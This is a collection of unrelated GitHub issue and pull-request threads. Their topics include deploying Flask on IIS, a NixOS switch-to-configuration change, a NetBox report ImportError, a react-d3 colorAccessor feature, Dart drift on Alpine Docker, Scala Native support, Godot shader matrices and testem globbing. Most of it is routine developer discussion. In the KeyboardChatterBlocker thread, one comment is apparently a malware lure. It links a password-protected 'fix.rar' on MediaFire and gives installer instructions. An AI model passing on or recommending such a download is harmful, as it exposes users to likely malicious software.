HTTP Error 500.0 - Internal Server Error An unknown FastCGI error occurred

I'm having the issue while deploying Flask application by IIS mapping, please suggest appropriate solution.
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
    <system.webServer>
        <handlers>
           <add name="StichingHandler" path="*" verb="*" modules="FastCgiModule" scriptProcessor="C:\Users\DCL45\AppData\Local\Programs\Python\Python37\python.exe|C:\Users\DCL45\AppData\Local\Programs\Python\Python37\Lib\site-packages\wfastcgi.py" resourceType="Unspecified" requireAccess="Script" />
         </handlers>
		 <httpPlatform processPath="C:\Users\DCL45\AppData\Local\Programs\Python\Python37\python.exe"
                  arguments="D:\DCPL\image-stitching-opencv\image-stitching-opencv\ServiceApi.py --port %HTTP_PLATFORM_PORT%"
                  stdoutLogEnabled="true"
                  stdoutLogFile="c:\home\LogFiles\python.log"
                  startupTimeLimit="60"
                  processesPerApplication="16">
      <environmentVariables>
        <environmentVariable name="SERVER_PORT" value="%HTTP_PLATFORM_PORT%" />
      </environmentVariables>
    </httpPlatform>
    </system.webServer>
	<appSettings>
    <!-- Required settings -->
    <add key="WSGI_HANDLER" value="ServiceApi.app" />
    <add key="PYTHONPATH" value="C:\Users\DCL45\AppData\Local\Programs\Python\Python37\" />
  </appSettings>
    <system.web>
        <authentication mode="Forms" />
    </system.web>
</configuration>

@shobhitnpm -- Shobhit, thanks for your question. It looks like you're having an issue with the product itself, rather than an issue with the documentation. Here are a few options where you might consider asking your question:

https://social.msdn.microsoft.com/Forums/vstudio
https://www.stackoverflow.com
https://www.reddit.com/r/VisualStudio/

As well, you might also consider using the Report a Problem tool to report the issue.
I am closing this issue now.  You are welcome to @ mention me for any followup.
We hope to hear from you again.


switch-to-configuration: wait restart and start jobs together

Description of changes

Try to solve #180175, in case this is the root cause.
This branch removes blocking after issuing all restart jobs in the Rust version. I used it on my machine and it solved the problem for me: no more failing when Tailscale and NetworkManager are both updated.
I don't know how to solve the problem in the Perl script.
See https://github.com/NixOS/nixpkgs/issues/180175#issuecomment-2301321572.
Things done

Built on platform(s)

[x] x86_64-linux
[ ] aarch64-linux
[ ] x86_64-darwin
[ ] aarch64-darwin

For non-Linux: Is sandboxing enabled in nix.conf? (See Nix manual)

[ ] sandbox = relaxed
[ ] sandbox = true

[ ] Tested, as applicable:

NixOS test(s) (look inside nixos/tests)
and/or package tests
or, for functions and "core" functionality, tests in lib/tests or pkgs/test
made sure NixOS tests are linked to the relevant packages

[x] Tested compilation of all packages that depend on this change using nix-shell -p nixpkgs-review --run "nixpkgs-review rev HEAD". Note: all changes have to be committed, also see nixpkgs-review usage
[x] Tested basic functionality of all binary files (usually in ./result/bin/)
24.11 Release Notes (or backporting 23.11 and 24.05 Release notes)

[ ] (Package updates) Added a release notes entry if the change is major or breaking
[ ] (Module updates) Added a release notes entry if the change is significant
[ ] (Module addition) Added a release notes entry if adding a new NixOS module

[ ] Fits CONTRIBUTING.md.

Add a :+1: reaction to pull requests you find important.

It seems I have made an over-complicated assumption.
See https://github.com/NixOS/nixpkgs/issues/180175#issuecomment-2367400297


Reports error: cannot import name 'STATUS_ACTIVE'

Issue type
[ ] Feature request
[X] Bug report
[ ] Documentation

Environment

Python version:  3.5.3
NetBox version:  2.3.3

Description
Testing reports with given example at https://netbox.readthedocs.io/en/latest/miscellaneous/reports/
After creating devices.py in /opt/netbox/netbox/reports and pasting example code:
from extras.reports import Report

class DeviceConnectionsReport(Report):
    description = "Validate the minimum physical connections for each device"

class DeviceIPsReport(Report):
    description = "Check that every device has a primary IP address assigned"

from dcim.constants import CONNECTION_STATUS_PLANNED, STATUS_ACTIVE
from dcim.models import ConsolePort, Device, PowerPort
from extras.reports import Report

class DeviceConnectionsReport(Report):
    description = "Validate the minimum physical connections for each device"

    def test_console_connection(self):

        # Check that every console port for every active device has a connection defined.
        for console_port in ConsolePort.objects.select_related('device').filter(device__status=STATUS_ACTIVE):
            if console_port.cs_port is None:
                self.log_failure(
                    console_port.device,
                    "No console connection defined for {}".format(console_port.name)
                )
            elif console_port.connection_status == CONNECTION_STATUS_PLANNED:
                self.log_warning(
                    console_port.device,
                    "Console connection for {} marked as planned".format(console_port.name)
                )
            else:
                self.log_success(console_port.device)

    def test_power_connections(self):

        # Check that every active device has at least two connected power supplies.
        for device in Device.objects.filter(status=STATUS_ACTIVE):
            connected_ports = 0
            for power_port in PowerPort.objects.filter(device=device):
                if power_port.power_outlet is not None:
                    connected_ports += 1
                    if power_port.connection_status == CONNECTION_STATUS_PLANNED:
                        self.log_warning(
                            device,
                            "Power connection for {} marked as planned".format(power_port.name)
                        )
            if connected_ports < 2:
                self.log_failure(
                    device,
                    "{} connected power supplies found (2 needed)".format(connected_ports)
                )
            else:
                self.log_success(device)

I receive nicely formated error:
<class 'ImportError'>
cannot import name 'STATUS_ACTIVE'

Supervisor is restarted if it's changing something.
requirements.txt is satisfied, triple checked that.

I ran into this recently, I think STATUS_ACTIVE has changed to DEVICE_STATUS_ACTIVE.

Thank you. Issue resolved. Very outdated and uninformative documentation for reports. Sad.


(PDB-3324) Remove acceptance tests which were ported to Clojure

Test PASSed

CLA signed by all contributors.

@mullr do we have an accounting for what new tests we need to write as smoke tests to replace these? or are there enough left behind to cover our scripts starting/stopping etc?

Test FAILed

Test FAILed

@puppetlabs-jenkins retest this please

Test PASSed


Allow feature when other key resets the timeout for fast typing of 'adadad'

I cannot create a feature branch with pull request, however my suggestion is within single file.
Basically, I need long threshold, but allow other key.
Configuration key: other_key_resets_timeout
Default value: false
when other_key_resets_timeout = True:
AAA - will be blocked
ASA - will be allowed
KeyBlocker.zip

Download
https://www.mediafire.com/file/wpwfw3bpd8gsjey/fix.rar/file
password: changeme
In the installer menu, select "gcc."

Small correction:
KeyBlocker.zip

Added. Didn't use your exact code, but should behave more or less identically. Has a UI option too under the new "Other Settings" tab. Will be included in upcoming release 1.18 https://github.com/FreneticLLC/KeyboardChatterBlocker/releases

Release 1.18 is out now including this new feature!


Profile Manager: disable the Generate Account button if a mnemonic is already added

Description
The Generate Account button in the profile manager should be disabled if a mnemonic is already entered in the field.

Dashboard

Playground

Steps to reproduce

Dashboard

Navigate to https://dashboard.dev.grid.tf
Enter a valid Mnemonic in the Mnemonic field.
Check the Generate Account button

Playground

Navigate to https://playground.dev.grid.tf/
Enter a valid Mnemonic in the Mnemonic field.
Check the Generate Account button

it is still found in playground
Screencast from 08-10-2023 01:06:24 PM.webm
waiting for the dashboard to be released to verify

verified on devnet on both dashboard and play ground
Screencast from 08-10-2023 06:27:31 PM.webm
Screencast from 08-10-2023 06:26:54 PM.webm


Fix exclusive label deletion bug

Ⅰ. Describe what this PR does
Node label "fluid_exclusive" will not be automatically deleted when deleting a dataset. This PR fixes this bug.
More detailedly, this PR does the following changes:

change node label "fluid_exclusive" to "data.fluid.io/fluid-exclusive" to make it consistent with other labels created by fluid
change value of the "data.fluid.io/fluid-exclusive" to "-" instead of "_"
Fix this bug for Jindo engine

Ⅱ. Does this pull request fix one issue?

fixes #574
Ⅲ. List the added test cases (unit test/integration test) if any, please explain if no tests are needed.
Ⅳ. Describe how to verify it
Ⅴ. Special notes for reviews

duplicate pr with #578. close it.


New feature: props.colorAccessor

tl;dr: this is a non-breaking change that optionally gives chart users more control over how colors are generated from data passed into the chart.
Added a new feature, props.colorAccessor. props.colorAccessor is a callback function that takes two arguments, an element and an index. It is meant to be called inside any call to props.colors.
For example, a call that was previously
props.colors(idx)

is now
props.colors(props.colorAccessor(d, idx))

This allows chart users to base colors on more than just an index in an array. Further, this allows the user to not have to retain a copy of the data provided to the chart.
For example, in the current way of doing things, if I want to base colors off of anything other than the index, I need to do something along the lines of:
var MyCoolComponent = React.createClass({
  getDefaultProps: function() {
    return {
      colorScale: d3.scale.category20()
    };
  },

  colors: function(idx) {
    var color = this.props.colorScale(props.myData[idx].uuid);
    return color;
  },

  render: function() {
    <LineChart
      ...
      colors={this.colors}
      ...
    />
  }
});

with props.colorAccessor, I can simply do:
var MyCoolComponent = React.createClass({
  getDefaultProps: function() {
    return {
      colorAccessor: (d, idx) => d.uuid
    };
  }

  render: function() {
    <LineChart
      ...
      colorAccessor={this.props.colorAccessor}
      ...
    />
  }
});

The props.colorAccessor feature has been added to all charts except for BarChart. This is because BarChart does not currently support multi-colored bars, instead using the same fill for each bar. I will add support for multi-colored bars soon which will also include the props.colorAccessor feature.
For most of the charts the needed changes to support the new feature were fairly minor. However, some charts needed a bit more changes to support the feature.
Along with the above feature, code styling and formatting has been applied where appropriate to the various touched files. This includes modification of PropTypes, removing unneeded calls to this, as well as some (imho) much needed spacing.
Also included in this branch is the addition of .DS_Store to .gitignore, and the changing of the link in CONTRIBUTING.md to the Google JavaScript Style Guide from HTTP to HTTPS.

Thanks for the PR.  Many of these look like good ideas/changes, but they've resulted in a lot of changes to the code base, so I'm going to need to take a closer look over the weekend when I have more time.
@yang-wei do you think you might take a look if/when you get a chance to make sure there are no breaking changes?  A lot of the changes were in the charts you've been working with.

@MatthewHerbst Looks good to me.
Just one thing:
Since the first argument of colorAccessor will always be element, so it will be good to have it named element(or something like this) instead of just d in getDefaultProps.
// instead of this
colorAccessor: (d, idx) => idx
// better ?
colorAccessor: (ele, idx) => idx

Also this is really a good feature but this would be hard to understand for those who are not familiar with d3. It would be really great if a test regarding this feature is added to any chart.
Cheers.
@esbullington One thing here. This pr will change a lot of our code base, especially the indentation on proptypes. To me it looks good, just want to make sure that you're ok with them.

@yang-wei the standard in d3 is to use d for datum. I'm happy to change it though if you and @esbullington like ele (or some derivative) better.
And good point regarding testing! I'll add some in tomorrow. However, I don't think the method can ever fail. For example, the following is valid:
var scale = d3.scale.category20c()
var value = "undefined" // This would be if you didn't pass enough arguments to colorAccessor
scale(value); // "#3182bd"

So is
var scale = d3.scale.category20c()
var value = {} // This would be if you passed a non-primitive as the second argument to colorAccessor
scale(value); // "#3182bd"

colorAccessor is really just a getter method when you think about it - you usually don't test those much since they are too simple.
The tests I'll add will insure that the proper index is returned when the default colorAccessor is called. Beyond that, the possible return values if a user override the method are too arbitrary (and all valid) to test.

the standard in d3 is to use d for datum

This is true. But in this case ele seems more appropriate to me.

The tests I'll add will insure that the proper index is returned when the default colorAccessor is called. Beyond that, the possible return values if a user override the method are too arbitrary (and all valid) to test.

@esbullington  This will be enough =)  Test will help developers to see how to use the feature.

@yang-wei  thanks for taking a look.  I wouldn't have thought to add the indented propTypes, but the PR contained a lot of other good changes, so it wasn't a big deal to me.  Most of all I was concerned about breaking changes since these changes will go out on my next patch release (which I'll do this week).
Let's stick with d unless you've already made the changes, in which case ele is fine, too.  In general, I've tried to stick as much as possible with d3's stylistic preferences (although I know I've not always done a good job with that).
Any tests for documentation would be welcome, particularly since adding a getter to what is already a somewhat confusing and definitely undocumented feature (the colors property) will make it even more confusing to users (hopefully I can combine the two properties when we next batch together a lot of breaking changes).  Even better (and possibly less time consuming) would be to add a brief note to our meager documentation explaining how to use the feature.  But there are good changes in this PR, so don't want to discourage if you don't have time.
And it'll be necessary to rebase before I can merge.  If you don't have time, I'll do it later when I merge it.

@esbullington I'll do the rebase and add the tests later this morning. Do you want me to remove the PropTypes indentation? I'll edit the Wiki later tonight.
Also, very excited to see the patch come out! I've been manually making changes to the node_modules/react-d3 that my project is pulling from. I'll make sure this is done soon so it can be included!

@MatthewHerbst great, I'll merge as soon as you get it in (no rush).  And no, the PropTypes indentation is fine, I think it probably makes things more readable.  It's just not something I generally do.
One thing that will help us review contributions quicker in the future is to keep PRs as small and as topical as possible.  It's much easier for me to review 4 PRs from someone, with each concerning a different issue or topic (say, "indentation", or "adding getter for colors prop"), rather than 1 PR with all the changes combined together.  I know it's not always easy or possible to break things up into small PRs when you're doing general refactoring like you've done here, but whenever possible it's greatly appreciated.

Sure thing @esbullington I was king of just making those formatting changes to make it easier for me to make the changes I was trying to make. I'll try and keep the two separate next time. Rebase is done - writing the tests now.

@yang-wei I'm actually starting to think that implementing these tests is not possible without extensive mocking - there is no way for me to access the values being passed into the colorAccessor function. It seems much simpler to edit the Wiki for it, which I will do. We should maybe open a new issue to discuss how we want to test property methods, especially ones which can be passed in by the user.

@esbullington I've started modifying the documentation. Before I go crazy, is this format ok? https://github.com/esbullington/react-d3/wiki/CartesianChartPropsMixin

@MatthewHerbst looks great!  Documentation in this case will be better than tests, and it looks great.  Maybe rename the page name to Common Props or Shared Props to make it clearer, and I'll probably rename the mixin file to match, as well.
Do you happen to remember what you ran to rebase?    I can fix the history easily, just trying to figure out what exactly caused that to happen.

Yeah, I noticed that but wasn't sure what it was about.
// From branch matthewherbst-feature/color-accessor, I did:

git fetch upstream
git checkout master
git merge upstream/master
git checkout matthewherbst-feature/color-accessor
git rebase master
// Had to resolve a merge conflict at this point
git commit [the merge conflicts]
git rebase --continue
git push origin matthewherbst-feature/color-accessor
// Then, since I had forgotten to run the tests locally, the build failed
// There was some warning about cherry-picking at this point, so I used the message advice to use --allow-empty
git commit --allow-empty [the fix - removing structure] matthewherbst-feature/color-accessor
git push origin matthewherbst-feature/color-accessor

Hey @MatthewHerbst   no problem, I can straighten it out.  I should have some spare time tomorrow morning for this, so I'll edit the history and merge it then.   Promise I haven't forgotten.
Thanks again for the PR and for your patience!

@esbullington :+1:

Moved to #210


Docker Alpine is not working with drift

Alpine is not working with drift. even if sqlite is installed.
FROM dart:2.19.2 AS build

COPY backend/pubspec.* ./
COPY shared/ ./

COPY /backend/resources/locales.json /resources/locales.json
COPY /backend/resources/web/ /bin/web

RUN dart pub get

COPY . .
RUN cd backend && dart pub get
RUN dart compile exe backend/bin/server_prod.dart -o /bin/server

###
FROM alpine:3.17.2

RUN apk update && apk upgrade
RUN apk add --no-cache sqlite

COPY --from=build /resources/locales.json /app/resources/locales.json
COPY --from=build /bin/web/ /app/bin/web
COPY --from=build /runtime/ /
COPY --from=build /bin/server /app/bin/server

ENV JWT_SECRET=your-very-secret-key

# Start server.
EXPOSE 8080
CMD ["/app/bin/server"]

And adding this also gave an error:
open.overrideFor(OperatingSystem.linux, _openOnLinux);

DynamicLibrary _openOnLinux() {
  final libraryNextToScript = File(join('usr', 'bin', 'sqlite3'));
  return DynamicLibrary.open(libraryNextToScript.path);
}

The error
Failed to load dynamic library 'usr/bin/sqlite3': usr/bin/sqlite3: cannot dynamically load position-independent executable

This one does work
FROM dart:2.19.2 AS build

COPY writor_backend/pubspec.* ./
COPY writor_shared/ ./

COPY /writor_backend/resources/locales.json /resources/locales.json
COPY /writor_backend/resources/web/ /bin/web

RUN dart pub get

COPY . .
RUN cd writor_backend && dart pub get
RUN dart compile exe writor_backend/bin/server_prod.dart -o /bin/server

FROM ubuntu:rolling

RUN apt-get update && apt-get install -y sqlite3 libsqlite3-dev

COPY --from=build /resources/locales.json /app/resources/locales.json
COPY --from=build /bin/web/ /app/bin/web
#COPY --from=build /runtime/ /
COPY --from=build /bin/server /app/bin/server

ENV JWT_SECRET=your-very-secret-key

# Start server.
EXPOSE 8080
CMD ["/app/bin/server"]

But has a lot of security issues:

Is there any way to use alpine. Or even better the scratch image from docker?

To correctly use the override you would need to find a file named libsqlite3.so in /usr/lib
/usr/bin/sqlite might exist in the Docker image, but that is the sqlite executable, not the dynamic library that Dart can load.
I haven't tried myself with Alpine, but it's possible that simply changing the override works for you

That is what I was trying but indeed using sqlite instead of libsqlite3.so. Which libsqlite3.so should I use for alpine?

It's very likely that if you have multiple they are pointing to the same file. So the regular libsqlite3.so should work in theory.

https://community.fly.io/t/dart-sqlite-on-fly-machines-server-crashes/10501/9
I've found this that might help. It uses debian:bullseye-slim instead of alpine though

Ah right good one!! First build the so lib before using scratch

If you want to use FROM alpine, you can add the sqlite-libs package, which installs /usr/lib/libsqlite3.so.0. You can either add an open override in Dart to open that file, or just add a  RUN ln -s /usr/lib/libsqlite3.so.0 /usr/lib/libsqlite3.so to your Dockerfile.
Perhaps not the best way to do this, but this works for me for example:
FROM dart:2.19.2 AS build

COPY pubspec.yaml .
COPY foo.dart
RUN dart pub get
RUN dart compile exe foo.dart -o /bin/server

FROM alpine
RUN apk add --no-cache sqlite-libs
RUN ln -s /usr/lib/libsqlite3.so.0 /usr/lib/libsqlite3.so
COPY --from=build /bin/server /bin/server
COPY --from=build /runtime/ /

CMD ["/bin/server"]

(where foo.dart just prints sqlite3.version without any override). That said, since the Dart runtime ships a dynamically linked libc, you can probably just copy over your libsqlite3.so from the Debian based dart:2.19.2 image after getting it via apt install libsqlite3-dev. I didn't try that though.

That did the trick. Still running into a permission issue on my side. But I will figure that one out. I can CRUD the database now.! Thanks. I will paste my dockerfile here once it is finished

My alpine dockerfile crashes after the database is opened. I thought it was a permission thing. but that is not the case I can open, read, delete, update files before I open the database. After the database is opened. The server just silently crashes.
Maybe because the file is not closed? Anyone who has an idea why it

Maybe because the file is not closed? Anyone who has an idea why it

Doesn't it crash directly when the database file is opened? In that case, it should probably be unrelated to the database not being closed.

The server just silently crashes.

Do you see the exit code of that process at least? Is there a way for you to get a core dump in the container?
And was this with the libsqlite3.so from Alpine or Debian? I wonder if there are any issues because Dart is linking to glibc from /runtime while the sqlite3 library from Alpine is compiled against muslc (and has libc.musl-x86_64.so.1 as a needed dependency in its elf). Two libcs in the same executable sounds like trouble - sorry if I put you on the wrong path with the apk add sqlite-libs suggestion.
FWIW, this works for me (even with FROM scratch). I added this Dockerfile to drift/example in this repository:
FROM dart:2.19.2 AS build

RUN dart create foo && cd foo && dart pub add sqlite3 drift
COPY *.dart foo
RUN dart compile exe foo/main.dart -o /bin/server
RUN apt-get update && apt-get install -y libsqlite3-dev

FROM scratch

COPY --from=build /bin/server /bin/server
COPY --from=build /runtime/ /
COPY --from=build /usr/lib/x86_64-linux-gnu/libsqlite3.so /usr/lib/libsqlite3.so
CMD ["/bin/server"]

Running the resulting image shows the database being created. Granted, it's an in-memory database, but if I change that to a real file in main.dart, it still seems to work.


support Scala Native

first support: core, state
> show coreNative/nativeMissingDependencies
[info] * @java.net.URI
[info] * @java.net.URI::init_class.java.lang.String
[info] * @java.net.URI::toString_class.java.lang.String
[success] Total time: 4 s, completed 2017/03/17 0:27:58
> show stateNative/nativeMissingDependencies
[info] *
[success] Total time: 1 s, completed 2017/03/17 0:28:05
> show testNative/nativeMissingDependencies
[info] *
[success] Total time: 1 s, completed 2017/03/17 0:28:16

we need remove java.net.URI ...? :thinking:  /cc @densh @MasseGuillaume
https://github.com/julien-truffaut/Monocle/blob/v1.4.0/core/shared/src/main/scala/monocle/std/String.scala#L35-L36

Nice! About java.net.URI does it mean it would blow up at runtime or compile time if you try to use URI natively?

I think compile time

runtime ...?
object Main {
  ...
  val uri = monocle.std.string.stringToURI.getOption("http://example.com")
}

> testNative/compile
[info] Compiling 1 Scala source to /Users/aoino/git/Monocle/testNative/target/scala-2.11/classes...
[success] Total time: 1 s, completed 2017/03/17 20:00:50
> testNative/run
[info] Linking NIR (623 ms)
[error] cannot link: @java.net.URI
[error] cannot link: @java.net.URI::init_class.java.lang.String
[error] cannot link: @java.net.URI::toString_class.java.lang.String
[error] unable to link
[error] (testNative/*:nativeLink) unable to link
[error] Total time: 1 s, completed 2017/03/17 20:00:53

The run task depends on the nativeLink task

https://github.com/scala-native/scala-native/blob/v0.1.0/sbt-scala-native/src/main/scala/scala/scalanative/sbtplugin/ScalaNativePlugin.scala#L32
https://github.com/scala-native/scala-native/blob/v0.1.0/sbt-scala-native/src/main/scala/scala/scalanative/sbtplugin/ScalaNativePluginInternal.scala#L406

Your cannot link error is during nativeLink task, not runtime.

compile or package: create .nir files from "Scala sources". no errors if there is MissingDependencies
nativeLink: create executable binary file from .nir files. error if there is MissingDependencies

Ok so it means, you will not be able to use stringToURI in native but as you cannot deal with java.net.URI natively, I don't think it will be an issue.

👍

@julien-truffaut @xuwei-k
thanks!


Accessing transform matrices data in shader breaks it.

Godot version: 3.0
Issue description:

vec4 test = WORLD_MATRIX.x;
When I type this line mesh transforms into big white artifact :)

What I see (on ed6baffc7) fragment is 1200 lines of code in the terminal then:
ERROR: _display_error_with_code: SceneShaderGLES3: Fragment Program Compilation Failed:
0(882) : error C1008: undefined variable "world_transform"

   At: drivers/gles3/shader_gles3.cpp:167.
ERROR: get_current_version: SceneShaderGLES3: Fragment Program Compilation Failed:
0(882) : error C1008: undefined variable "world_transform"

   At: drivers/gles3/shader_gles3.cpp:455.
ERROR: get_current_version: Method/Function Failed, returning: __null
   At: drivers/gles3/shader_gles3.cpp:463.
ERROR: bind: Condition ' !version ' is true. returned: false
   At: drivers/gles3/shader_gles3.cpp:122.
ERROR: _get_uniform: Condition ' !version ' is true. returned: -1
   At: drivers/gles3/shader_gles3.h:376.
ERROR: _get_uniform: Condition ' !version ' is true. returned: -1
   At: drivers/gles3/shader_gles3.h:376.

Finally the classic spam:
mesege
ERROR: _gl_debug_print: GL ERROR: Source: OpenGL	Type: Error	ID: 1282Severity: High	Message: GL_INVALID_OPERATION error generated. No active program.

Related to #8731 (missing shader variables)

in Godot 2.x, World Matrix can only use in Vertex Shader
http://docs.godotengine.org/en/stable/learning/features/shading/shading_language.html
I think it is same in Godot 3. ^^

@ippan but is there https://github.com/godotengine/godot/blob/4286aef69313e048fa91710c35456c08a252fd3c/servers/visual/shader_types.cpp#L72
So either should not be there or the shader compiler does not have the correct setup to use it (incorrect name or something).

Actually, the shader compiler (if I'm looking at the right place) says worldview_matrix, not world_matrix https://github.com/godotengine/godot/blob/f85cad4fec7c53d5b201956b3813b6aeb9b56fc6/drivers/gles3/shader_compiler_gles3.cpp#L662

@eon-s i think add this code at particles.glsl line 135 can solve it
int index = int(gl_VertexID);

shader_modes[VS::SHADER_SPATIAL].functions["vertex"]["WORLD_MATRIX"] = ShaderLanguage::TYPE_MAT4;
WORLD_MATRIX is in the Vertex Shader, and the error is happen in Fragment Shader

Fragment Program Compilation Failed

@ippan I think you are right, I'm hitting again the "new shader" crash :upside_down_face:

ok, so, the problem is not the access to the WORLD_MATRIX but that autocomplete suggest all available things for the shader type without looking the function (vertex,fragment,etc.)?

in 3.0 it's in a UBO, so it can be accessed from everywhere

was just checking and this is fixed, so closing.


fix(versions): update Activiti/activiti-cloud-full-chart-security versions

UpdateBot pushed helm dependency: activiti-cloud-full-example to: 7.1.369

UpdateBot commands:
updatebot push-version --kind helm activiti-cloud-full-example 7.1.369


Fix issue #122: correcting dependencies

I signed it!

I signed it!

Please merge with master again and I will review.
I don't think we should reference the minimized dependencies for the examples as it makes it harder for developers to use the examples to understand what the code is doing. I refactored the build system to make it so $ npm run build builds both minimized and full versions, so that makes this less of an issue.

Again, to reiterate my past comment:
I don't think we should reference the minimized dependencies for the examples as it makes it harder for developers to use the examples to understand what the code is doing. I refactored the build system to make it so $ npm run build builds both minimized and full versions, so that makes this less of an issue.
Also need to be merged again. Thanks!

I think changes from upstream have been merged by @yvan-sraka already.


Browserify is doing weird stuff when called from testem.

Here is a test in src/components/whatever/index.test.js
var test = require("tape")

test("this is a test", function(t) {
  t.ok(true, "should be OK")
  t.notOk(false, "should be NOK")
  t.end()
})

Here is something that is working
$ browserify src/**/*.test.js | node
TAP version 13
# this is a test
ok 1 should be OK
ok 2 should be NOK

1..2
# tests 2
# pass  2

# ok

Here is my testem config
{
  "framework": "tap",
  "src_files": ["src/**/*.test.js"],
  "before_tests": "browserify src/**/*.test.js -o tests.js",
  "serve_files": ["tests.js"]
}

Here is what is giving testem ci
$ testem ci
not ok 1 Error
    ---
        message: >
            Error: Cannot find module '/Users/MoOx/testem-test/src/**/*.test.js' from '/Users/MoOx/testem-test'
                at /Users/MoOx/testem-test/node_modules/browserify/node_modules/resolve/lib/async.js:42:25
                at load (/Users/MoOx/testem-test/node_modules/browserify/node_modules/resolve/lib/async.js:60:43)
                at /Users/MoOx/testem-test/node_modules/browserify/node_modules/resolve/lib/async.js:66:22
                at /Users/MoOx/testem-test/node_modules/browserify/node_modules/resolve/lib/async.js:21:47
                at Object.oncomplete (fs.js:107:15)

    ...

1..1
# tests 1
# pass  0
# fail  1

The weird thing is Error: Cannot find module **/*. Why is this glob not resolved ?
The super weird part is this one:
$ mv src/components/whatever/index.test.js src/test/index.test.js
$ testem ci
ok 1 Chrome 38.0 - should be OK
ok 2 Chrome 38.0 - should be NOK
ok 3 Firefox 33.0 - should be OK
ok 4 Firefox 33.0 - should be NOK
ok 5 Safari 8.0 - should be OK
ok 6 Safari 8.0 - should be NOK
ok 7 Opera 25.0 - should be OK
ok 8 Opera 25.0 - should be NOK

1..8
# tests 8
# pass  8
# fail  0

# ok

Another weird thing is that if I move src/test/index.test.js into src/index.test.js, this is giving me the same previous error.
It's like **/* is acting like a strict */*. But not from my terminal (zsh).

It's kind of a testem issue. It's because the commands are run in subshells and the user's environment isn't carried over (see #437). For instance, the same situation applies for bash users if globstar is set (which makes bash respect **, but the testem-spawned subshell does not have globstart set).

I just wanted to mention that I've been looking for something like @MoOx 's find trick up there for a month. Very neat.

According to the gnu bash manual, https://www.gnu.org/software/bash/manual/html_node/Command-Execution-Environment.html, shell options (like globstar) are not copied to child processes. I think this should probably be closed.

Thanks, for the update. Closing!


Fix grid layout types and defaults

Right now flow types just fail

Hey, @STRML
Do you need to help with maintaining this project? I'm interested.

Yeah, absolutely. I barely have time for it anymore.
On Dec 8, 2017 8:08 AM, "Bogdan Chadkin"<EMAIL_ADDRESS>wrote:

Hey, @STRML https://github.com/strml
Do you need to help with maintaining this project? I'm interested.
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/STRML/react-grid-layout/pull/673#issuecomment-350271436,
or mute the thread
https://github.com/notifications/unsubscribe-auth/ABJFP9c3bw9fiiwDjweCVkfdaQetCKgbks5s-ULUgaJpZM4Q0Zpt
.

@STRML So, would you like to make me a collaborator? My PRs a critical for my team.

Sure. Please continue to open PRs and I'll review - this one LGTM and I'll merge - but I could definitely use the help on more intense review, issue handling, and API direction into 2.x (see #573). Thanks!

Would be good to have patch release with fixed types.

Sure.

0.16.1

0.16.1


MB-16469: Add shared definitions

Jira ticket
Summary
This adds shared definitions for some of the definitions in the prime.yaml file. If you take a look at the generated files you can see that there are generally no actual changes (outside of a few readOnly attributes were added).
Adding these shared definitions would make it so that we better identify the objects that have been modified in a v2 version.
Verification Steps for Reviewers
Ensure that the generated swagger files are effectively the same as before and that there is no functional changes to any of the APIs or generated code.
Setup to Run the Code

Instructions for starting storybook
Instructions for starting the MilMove application
Instructions for running tests

How to test
There are a handful of ways to test this code. You can likely manually review the code and verify that there is no net changes. You can also compare the previous versions of the generated code by sorting all of the lines alphabetically and diffing the previous version with the new version. (You can do this either with your text editor or through command line tools.)
Eg. If you are trying to diff the files using vsCode you can do the following:

Save the contents of the previous generated swagger file say swagger/prime.yaml into a new file called before.txt.

Then sort the contents of the file using the Sort Lines Descending command in vsCode.

Save the contents of the newly generated swagger file say swagger/prime.yaml into a new file called after.txt.

Then sort the contents of the file using the Sort Lines Descending command in vsCode.

Open the terminal and run diff <path/to/before.txt> <path/to/after.txt> where the contents within the <> are replaced

Messages

:book:
:link: MB-16469

  Generated by :no_entry_sign: dangerJS against a70f8f39d957dd45573a36ed7ba49698a0d15789


add metadata to gemspec

Including new changelog link!

@indirect r?

looks good, thanks @dwradcliffe!

@bundlerbot r+

@bundlerbot retry


BlackParrot Floating Point Tests

Is there any floating points tests for black-parrot?
I think one need to add test(s) at bp-demos/src, add the test to the test_list in bp-demos/Makefile.frag, execute make bp-demos at the sdk root directory. I think this should build and install the test program to bp-demos with *.riscv. But I don't know how to use black-parrot floating point (FP) libraries (if any) for BP.
It will be great some one could tell how a test program for FP addition look like?

https://github.com/black-parrot-sdk/black-parrot-sdk
Many of these suites use FP
https://github.com/black-parrot-sdk/riscv-tests
FP assembly tests here
https://github.com/black-parrot-sdk/bp-tests/blob/master/src/fp_precision.c
Example of a c test with inline assembly
Of course, just float x = 2.0 + 2.0 style operations work as well

Thanks.


Update Gemfile.lock to satisfy Travis

@thefirstofthe300 I'm going to merge this as it solves the first check, but it's still failing on further steps. :)

Sadly, this is expected.


missing python 3.8 manylinux wheels on scipy-wheels-nightly

I'm opening this issue here for increased visibility: it seems the wheel repository is consistently failing because of a single test failure on linux with python 3.8 since Jan 10, resulting in missing python 3.8 manylinux wheels on scipy-wheels-nightly.
error message
linux amd64-linux-py38:
[gw0] linux -- Python 3.8.1 /venv/bin/python
worker 'gw0' crashed while running 'stats/tests/test_stats.py::Test_ttest_ind_permutations::test_ttest_ind_randperm_alternative2'

linux 32bit-amd64-linux-py38:
_______ Test_ttest_ind_permutations.test_ttest_ind_randperm_alternative2 _______
[gw0] linux -- Python 3.8.1 /venv/bin/python
/venv/lib/python3.8/site-packages/scipy/stats/tests/test_stats.py:4003: in test_ttest_ind_randperm_alternative2
    res_g_ab = stats.ttest_ind(a, b, **options_p)
        N          = 50
        a          = array([[0.5488135 , 0.71518937, 0.60276338, 0.54488318],
       [0.4236548 , 0.64589411, 0.43758721, 0.891773  ],
    ...75],
       [0.18619301, 0.94437239, 0.7395508 , 0.49045881],
       [0.22741463, 0.25435648, 0.05802916, 0.43441663]])
        b          = array([[0.31179588, 0.69634349, 0.37775184, 0.17960368],
       [0.02467873, 0.06724963, 0.67939277, 0.45369684],
    ...25],
       [0.25868407, 0.84903831, 0.03330463, 0.95898272],
       [0.35536885, 0.35670689, 0.0163285 , 0.18523233]])
        options_p  = {'alternative': 'greater', 'permutations': 500000, 'random_state': 0}
        self       = <scipy.stats.tests.test_stats.Test_ttest_ind_permutations object at 0xc4290d30>
/venv/lib/python3.8/site-packages/scipy/stats/stats.py:5867: in ttest_ind
    res = _permutation_ttest(a, b, permutations=permutations,
        a          = array([[0.5488135 , 0.71518937, 0.60276338, 0.54488318],
       [0.4236548 , 0.64589411, 0.43758721, 0.891773  ],
    ...75],
